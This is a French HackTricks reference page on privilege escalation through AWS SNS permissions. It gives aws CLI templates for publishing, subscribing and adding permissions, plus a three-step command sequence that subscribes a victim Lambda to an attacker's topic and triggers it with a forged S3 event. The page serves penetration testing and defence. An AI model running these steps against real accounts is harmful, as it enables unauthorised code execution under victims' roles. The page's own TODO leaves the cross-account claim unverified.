AWS - SNS Privesc

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

SNS

Pour plus d’informations, consultez :

AWS - SNS Enum

sns:Publish

Un attaquant pourrait envoyer des messages malveillants ou indésirables au SNS topic, pouvant potentiellement provoquer une corruption de données, déclencher des actions non désirées ou épuiser les ressources.

aws sns publish --topic-arn <value> --message <value>

Impact potentiel : Exploitation de vulnérabilités, corruption de données, actions involontaires ou épuisement des ressources.

sns:Subscribe

Un attaquant pourrait s’abonner Ă  un SNS topic, obtenant potentiellement un accĂšs non autorisĂ© aux messages ou perturbant le fonctionnement normal des applications qui s’appuient sur ce topic.

aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>

Potential Impact: AccĂšs non autorisĂ© aux messages (informations sensibles), perturbation du service pour les applications s’appuyant sur le topic affectĂ©.

sns:AddPermission

Un attaquant pourrait accorder Ă  des utilisateurs ou services non autorisĂ©s l’accĂšs Ă  un topic SNS, obtenant potentiellement des autorisations supplĂ©mentaires.

aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>

Impact potentiel : accÚs non autorisé au topic, exposition des messages, ou manipulation du topic par des utilisateurs ou services non autorisés, perturbation du fonctionnement normal des applications dépendant du topic.

Invoquer une Lambda en abusant d’une permission SNS gĂ©nĂ©rique (no SourceArn)

Si la politique basĂ©e sur les ressources d’une fonction Lambda autorise sns.amazonaws.com Ă  l’invoquer sans restreindre le topic source (SourceArn), n’importe quel topic SNS (mĂȘme dans un autre compte) peut s’abonner et dĂ©clencher la fonction. Un attaquant disposant de permissions SNS basiques peut forcer la fonction Lambda Ă  s’exĂ©cuter sous le rĂŽle IAM de la fonction avec des entrĂ©es contrĂŽlĂ©es par l’attaquant.

Tip

TODO : Est-ce vraiment possible entre comptes ?

Préconditions

  • La politique de la Lambda victime contient une dĂ©claration comme ci-dessous, SANS condition SourceArn :
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {"Service": "sns.amazonaws.com"},
"Action": "lambda:InvokeFunction"
// No Condition/SourceArn restriction here
}
]
}

Étapes d’abus (mĂȘme compte ou entre comptes)

# 1) Create a topic you control
ATTACKER_TOPIC_ARN=$(aws sns create-topic --name attacker-coerce --region us-east-1 --query TopicArn --output text)

# 2) Subscribe the victim Lambda to your topic
aws sns subscribe \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--protocol lambda \
--notification-endpoint arn:aws:lambda:us-east-1:<victim_acct_id>:function:<VictimFunctionName>

# 3) Publish an attacker-controlled message to trigger the Lambda
aws sns publish \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--message '{"Records":[{"eventSource":"aws:s3","eventName":"ObjectCreated:Put","s3":{"bucket":{"name":"attacker-bkt"},"object":{"key":"payload.bin"}}}]}'

Impact potentiel: La Lambda victime s’exĂ©cute avec son rĂŽle IAM, traitant des entrĂ©es contrĂŽlĂ©es par l’attaquant. Cela peut ĂȘtre abusĂ© pour amener la fonction Ă  effectuer des actions sensibles (par ex., Ă©crire dans S3, accĂ©der Ă  des secrets, modifier des ressources) selon ses permissions.

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks